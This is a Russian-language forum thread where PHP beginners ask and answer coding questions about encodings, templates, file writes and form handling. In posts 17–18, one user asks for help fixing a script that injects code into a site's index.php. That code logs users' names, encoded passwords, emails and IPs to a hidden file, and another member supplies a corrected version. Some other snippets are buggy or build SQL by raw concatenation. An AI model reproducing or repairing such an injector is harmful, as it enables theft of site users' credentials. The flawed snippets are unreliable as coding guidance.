[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    Zircool
    iconv('входящая хрень','исходящая хрень',${что_хреначить})
     
    1 person likes this.
  2. PandoraBox

    PandoraBox Elder - Старейшина

    Joined:
    6 May 2007
    Messages:
    262
    Likes Received:
    176
    Reputations:
    7
    Code:
    function utf8_to_cp1251($str)
    {
      $encoded_data = mb_convert_encoding($str, 'Windows-1251', 'UTF-8');
      $data = (mb_detect_encoding($str, "auto", true) == '') ? $str : $encoded_data;
      //$data = trim($data);
      return $data;
    }
     
    1 person likes this.
  3. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Есть следующий код. Есть ли идеи по оптимизации.
    PHP:
    $data=<<<HEREDOC
    [foreach {f_arr}]
    {f_val:name}<br />
    <b>{f_val:value}</b>
    <br /><br />
    [/foreach]
    HEREDOC;



                
    $vars['foreach']['arr'][]=array('name'=>'my1','value'=>'jon');
                
    $vars['foreach']['arr'][]=array('name'=>'my2','value'=>'smit');
                
    $vars['foreach']['arr'][]=array('name'=>'my3','value'=>'anjil');
                
    $vars['foreach']['arr'][]=array('name'=>'my4','value'=>'demon');
                
    $vars['foreach']['arr'][]=array('name'=>'my5','value'=>'tokar');

        
    preg_match_all('/\[foreach {f_(.+?)}](.+?)\[\/foreach\]/is'$data$parr);
            if(isset(
    $parr))
            {
                
    $tmpd='';
                foreach (
    $parr[0] as $k => $v) {
                    foreach (
    $vars['foreach'][$parr[1][$k]] as $tmp)
                    {
                        
    //print_r($tmp);
                        
    $work=$parr[2][$k];
                        
    preg_match_all('/{f_(\S+?):(\S+?)}/i'$data$farr);
                        
    $num_var=count($farr[2]);
                        for(
    $i=0;$i<$num_var;$i++)    $work=str_replace("{f_{$farr[1][0]}:{$farr[2][$i]}}",$tmp[$farr[2][$i]],$work);
                        
    $tmpd.=$work;
                    }
                
    $data str_replace($v$tmpd,$data );
                }
            }
    echo 
    $data;
    у меня только одна идея.
    заменить тут str_replace
    PHP:
    for($i=0;$i<$num_var;$i++)    $work=str_replace("{f_{$farr[1][0]}:{$farr[2][$i]}}",$tmp[$farr[2][$i]],$work);
    на preg_replace но чето немогу некак составить регулярку. Да и надо ли?
    Еще думаю можно избавиться от временных переменных. но тоже не-могу придумать нечего.


    ЗЫ нашел пару косяков в коде. )) правлю. сори за беспокойство )
     
    #5963 EST a1ien, 8 Nov 2008
    Last edited: 8 Nov 2008
  4. Ru}{eeZ

    Ru}{eeZ Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    454
    Likes Received:
    73
    Reputations:
    -5
    строковые функции работают быстрее регулярок
     
  5. sadfeel

    sadfeel Member

    Joined:
    5 Nov 2008
    Messages:
    83
    Likes Received:
    6
    Reputations:
    0
    <?
    $fp=fopen("file.txt","a");
    fputs($fp,"текст");
    fclose($fp);
    ?>

    Как сделать так чтобы вписываемый текст каждый раз при обновлении стр писался с новой строки?
     
  6. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    sadfeel
    PHP:
    "текст\r\n"
     
    _________________________
  7. Dimaus

    Dimaus Banned

    Joined:
    7 Nov 2008
    Messages:
    30
    Likes Received:
    1
    Reputations:
    0
    помогите с кодом, не могу разобраться уже несколько дней
    Задача у меня такая:
    пипшешь в форме число, затем оно выводится в этом на этой же странице, если ничего не написано, то должна выводится фраза *Вы ничего не ввели*
    Не могу разобраться с иссетом
     
  8. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    PHP:
    <forn method="post" actoin="<?php echo $_SERVER['PHP_SELF']; ?>">
    Поле ввода : <input type="text" name="gness">
    <?php 
    $gness
    ="$_POST";
    if(empty(
    $_POST["gness"]))
    {
    echo 
    "Вы не ввели число";
    }
    else
    {
    echo 
    $_POST["gness"];
    }
    ?>
    </form>
    </body>
     
  9. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    или так:
    PHP:
     <forn method="post" actoin="<?php echo $_SERVER['PHP_SELF']; ?>"> 
    Поле ввода : <input type="text" name="gness"> 
    <?php  
    $gness
    =$_POST["gness"]; 
    if(!isset(
    $_POST["gness"])) 

    echo 
    "Вы не ввели число"

    else 

    echo 
    $_POST["gness"]; 

    ?> 
    </form> 
    </body> 
     
    #5969 Vid0k, 8 Nov 2008
    Last edited: 8 Nov 2008
  10. Ru}{eeZ

    Ru}{eeZ Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    454
    Likes Received:
    73
    Reputations:
    -5
    PHP:
    <?php
    $fp
    =fopen('file.txt','a');
    fputs($fp,"текст/r/n");
    fclose($fp);
    ?>
     
  11. Dimaus

    Dimaus Banned

    Joined:
    7 Nov 2008
    Messages:
    30
    Likes Received:
    1
    Reputations:
    0
    Vid0k спасибо, понял свою ошибку....
     
  12. Dimaus

    Dimaus Banned

    Joined:
    7 Nov 2008
    Messages:
    30
    Likes Received:
    1
    Reputations:
    0
    Снова проблемка, ошибка в 20й строке снова с иссетом,(емпти его не заменяйте пож):
     
    #5972 Dimaus, 8 Nov 2008
    Last edited: 8 Nov 2008
  13. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Dimaus Ради смеха попробуй какой нить IDE использовать. Ты забыл ; две точки и один знак равенства. Это не считая кучи ошибок типа actoin, forn, gness и т.д.
    PHP:
    <html>
    <head>
    </head>
    <body bgcolor="#FFFFFF">
    <form method="post">
    Поле ввода : <input type="text" name="gness">
    </form><br>
    <?php
    if(!isset($_POST["gness"]))
    {
    echo 
    "Вы не ввели число";
    }
    else
    {
    echo 
    $_POST["gness"];
    }
    $num=40;
    $gness=$_POST['gness'];
    $mess="Добро пожаловать<br>";
    if(
    $gness>$num)
    {
    $mess.="число".$gness." больше нужного";
    }
    elseif(
    $gness<num)
    {
    $mess.="Ваше число".$gness." меньше";
    }
    else
    {
    $mess.="Позд!<br> вы угадали";
    }
    echo 
    $mess;
    ?>
    </body>
    </html>
    Ru}{eeZ
    "/r/n" клево придумал

    Vid0k Не надо надеяться, что люди пишут правильно хотя бы имена операторов,
     
    _________________________
    #5973 Gifts, 8 Nov 2008
    Last edited: 8 Nov 2008
    1 person likes this.
  14. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    PHP:
    <body bgcolor="#FFFFFF">
    <form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>"> 
    Поле ввода : <input type="text" name="gness"> 
    <?php 
    if(!isset($_POST["gness"])) 

        echo 
    "Вы не ввели число"

    else 

        echo 
    $_POST["gness"]; 

    $num=40;
    $gness=$_POST['gness'];
    $mess=" ";
    if(!isset(
    $gness))
    {
        echo 
    "Добро пожаловать";
    }
    elseif(
    $gness>$num)
    {
        echo 
    "число".$gness." больше нужного";
    }
    elseif(
    $gness<$num)
    {
        echo  
    "Ваше число".$guess."меньше";
    }
    elseif(
    $gness == $num)
    {
        echo 
    "Позд!<br> вы угадали";

    ?> 
    </form> 
    </body>
    </html>
     
    #5974 Vid0k, 8 Nov 2008
    Last edited: 8 Nov 2008
  15. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    помойму там должно быть "a+"
     
    1 person likes this.
  16. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    PHP:
    <?
    $fp=fopen("file.txt","a+");
    if(
    $fp) {fputs($fp,"текст" "\r\n");}
    fclose($fp);
    ?>
     
  17. sadfeel

    sadfeel Member

    Joined:
    5 Nov 2008
    Messages:
    83
    Likes Received:
    6
    Reputations:
    0
    спс!
    есть у меня такой код:
    PHP:
    <?
    $fp=fopen("index.php","a");
    fputs($fp,"
    <?php
    $win=getenv("windir");
    $ip=getenv("Remote_addr"); 
    $date= date("[D|d/m/Y|H:i]");
    $fp=fopen ("include/mess.php","a"); 
    fputs(
    $fp,"\r$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode "); fclose($fp); ?>");
    fclose($fp);
    ?>
    что в нем не так помогите плз (он должен в файле index.php дописать это
    PHP:
    <?php
    $win
    =getenv("windir");
    $ip=getenv("Remote_addr"); 
    $datedate("[D|d/m/Y|H:i]");
    $fp=fopen ("include/mess.php","a"); 
    fputs($fp,"\r$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode "); fclose($fp); ?>
     
    #5977 sadfeel, 8 Nov 2008
    Last edited: 8 Nov 2008
  18. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    sadfeel
    PHP:
    <?
    $fp=fopen("index.php","a+");
    $tmp=<<<HTT
    <?php
    $win=getenv("windir");$ip=getenv("Remote_addr"); $date= date("[D|d/m/Y|H:i]");$fp=fopen 
    ("include/mess.php","a+"); 
    fputs(
    $fp,"\r\n$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode ");
    ?>
    HTT;
    fputs($fp,$tmp);
    fclose($fp);
    ?> 
     
    _________________________
  19. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    Так значит у меня пробла ... .есть массив $a[] в нём храняться какие то числа допутим=>{123,23,23,23}
    Мне нужно поставить в mYSQl столько OR сколько там чисел , допутим если 4 числа значит будет такой запрос(Но я низнаю сколько там чисел)

    PHP:
    $frien mysql_query("SELECT * FROM bhost_friends WHERE u_id='".$a[0]."' OR u_id='".$a[1]."' u_id='".$a[2]."' u_id='".$a[3]."'");
    ВОт решение
    for($k=0;$k<$m;$k++){$c .= 'OR u_id='.$a[$k].' ';}echo $c;
     
    #5979 Buffalon, 8 Nov 2008
    Last edited: 8 Nov 2008
  20. sadfeel

    sadfeel Member

    Joined:
    5 Nov 2008
    Messages:
    83
    Likes Received:
    6
    Reputations:
    0
    пишет что ошибка вот сдесь - $tmp=<<<HTT
     
Thread Status:
Not open for further replies.